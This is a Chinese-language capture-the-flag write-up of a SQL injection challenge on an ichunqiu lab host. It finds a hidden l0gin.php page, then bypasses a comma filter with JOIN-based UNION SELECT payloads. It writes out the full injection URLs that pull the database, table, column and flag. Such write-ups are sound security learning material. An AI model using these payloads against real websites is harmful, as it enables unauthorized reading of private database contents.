先扫后台发现 两个可疑登录界面 l0gin.php login.php 猜测是第一个 用bp 抓包发现 index.php 中间有302 重定向 头文件 里面有一个 page=l0gin.php 应该是他了 暗示的很明确了
显示 1 flag 先手动把 习惯手动sql注入
先判断 是数字型还是字符型 1' %23 看出不来 直接 union select 1,2 %23
ok
2被截断了 说明，存在被截断 而且直接是输出了字符串 猜测字符型 竟然 , 不能用 可以join 连接select
union select * from select 1 join select 2 %23 成功回显 按照这个直接获取库名表名
http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select database()) a join (select null) b%23
获取库 sqli
http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select table_name from information_schema.tables where table_schema='sqli') a join (select null) b%23
获取表 users
http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='users') a join (select null) b%23
获取字段
id username
id,username,flag_9c861b688330 null
ok 发现了
http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select flag_9c861b688330 from users) a join (select null) b%23
得到结果
id username
flag{7176716c-1d16-474c-8660-33faaf8bc43e} null